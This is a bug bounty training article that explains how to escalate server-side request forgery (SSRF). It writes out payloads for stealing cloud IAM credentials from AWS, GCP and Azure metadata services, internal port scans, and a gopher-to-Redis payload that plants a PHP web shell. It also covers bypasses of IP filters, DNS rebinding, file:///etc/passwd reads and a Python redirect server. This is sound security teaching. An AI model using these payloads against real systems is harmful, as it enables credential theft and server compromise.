The community
Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.
Free and open. You don't need a BBLABS account to join.
Learn to escalate SSRF vulnerabilities from a low severity to critical impact. Exploitation techniques, filter bypasses and attack chains in cloud environments.
BBLabs
Security Researcher
Stop reading about bugs and start hunting them
No card · free Academy · cancel anytime
Server-Side Request Forgery (SSRF) is a vulnerability that lets an attacker make the server issue HTTP requests to arbitrary destinations. Instead of attacking directly, you use the server as a proxy to reach internal resources you'd have no access to from the outside.
Attacker → Vulnerable server → Internal network / Cloud services
Many bug bounty programs classify a basic SSRF as low severity (P4) because:
But the reality is that SSRF is one of the vulnerabilities with the greatest escalation potential if you know how to exploit it.
# Typical features vulnerable to SSRF:
- Import image from URL
- Link preview / link unfurling
- Configurable webhooks
- Export page as PDF
- Integrations with external services
- API proxies
- XML parsers (also XXE → SSRF)
This is the most classic and most dangerous escalation. If the application runs on AWS, GCP or Azure, you can reach the instance metadata service:
# AWS EC2 metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get temporary IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# The response includes:
{
"AccessKeyId": "ASIAXXX...",
"SecretAccessKey": "xxx...",
"Token": "xxx...",
"Expiration": "2026-01-15T12:00:00Z"
}
With these credentials you can access S3, databases, and potentially compromise the company's entire cloud infrastructure. That instantly turns a P4 into Critical.
# Google Cloud metadata
http://metadata.google.internal/computeMetadata/v1/
# Requires header: Metadata-Flavor: Google
# Get an access token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requires header: Metadata: true
# Get an access token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Use the SSRF to map the internal network:
# Probe common ports on internal ranges
http://10.0.0.1:80
http://10.0.0.1:8080
http://10.0.0.1:3306 # MySQL
http://10.0.0.1:6379 # Redis
http://10.0.0.1:9200 # Elasticsearch
http://10.0.0.1:27017 # MongoDB
http://192.168.1.1:8443 # Admin panel
http://172.16.0.1:9090 # Prometheus
If you discover an internal service without authentication (Redis, Elasticsearch, etc.), the impact can be very high.
SSRF becomes especially dangerous when you combine it with other vulnerabilities:
If you find an internal Redis without authentication:
# Using the gopher protocol to send commands to Redis
gopher://10.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET['cmd'])%3B%20%3F>%22%0ACONFIG%20SET%20dir%20/var/www/html%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE
If you discover an internal admin panel:
http://10.0.0.1:8080/admin/
http://internal-jenkins.target.local:8080/
http://internal-grafana.target.local:3000/
47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.
Unsubscribe in one click, from any email.
Developers try to block SSRF with blacklists, but there are many ways to evade them:
# Alternative representations of 127.0.0.1
http://127.1/
http://0x7f000001/
http://2130706433/ # Decimal
http://0177.0.0.1/ # Octal
http://[::1]/ # IPv6
http://127.000.000.001/ # With zeros
http://0/ # May resolve to localhost
# Alternative representations
http://[::ffff:169.254.169.254]/
http://0xa9fea9fe/ # Hexadecimal
http://2852039166/ # Decimal
http://169.254.169.254.nip.io/ # DNS rebinding
Set up a domain that alternately resolves to your IP and an internal IP:
1. First resolution: your-domain.com → public IP (passes validation)
2. Second resolution: your-domain.com → 169.254.169.254 (reaches the metadata)
Tools like rbndr or services like rebind.it make this attack easy.
# If they only block http/https
file:///etc/passwd
dict://internal-host:11211/stat
gopher://internal-host:6379/_INFO
ftp://internal-host/
If the application follows redirects, you can serve a redirect from your server:
# redirect.py - Server that redirects to metadata
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
If you can't see the server's response, you can still:
# Use interact.sh to detect blind SSRF
interactsh-client
# Then use the generated URL as the SSRF target
http://abc123.interact.sh
Title: SSRF in [feature] allows access to AWS IAM credentials
Impact: An attacker can obtain temporary AWS credentials with permissions
to [list affected roles]. This allows access to [S3 buckets, databases,
etc.] compromising the data of [X users/customers].
Steps:
1. Go to [vulnerable feature]
2. Intercept the request with Burp
3. Change the URL parameter to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Observe the role name in the response
5. Repeat with: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
6. Obtain AccessKeyId, SecretAccessKey and Token
7. Verify access: aws sts get-caller-identity --profile stolen
SSRF is the vulnerability with the greatest escalation potential in a bug bounty hunter's arsenal. What looks like a simple "the server makes a request" can turn into full access to a company's cloud infrastructure. The key is to not settle for demonstrating the basic SSRF: always try to escalate to cloud metadata, scan the internal network and chain it with other vulnerabilities. A well-escalated SSRF can be worth tens of thousands of dollars in bug bounty programs.
hunters training
labs from real hacks
completions
paid out for these bugs
Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime
Learn to identify and exploit IDOR (Insecure Direct Object Reference) vulnerabilities in web applications. From the basics to writing effective reports.
Explore the most common techniques for attacking insecure JSON Web Token implementations: from the none algorithm to JKU/JWK injection.
Google Dorks guide for bug bounty: what they are, the operators (site:, inurl:, intitle:, filetype:, ext:, intext:), ready-to-use examples for info exposure, panels, sensitive files and subdomains, ethical use within scope and how they fit into your recon.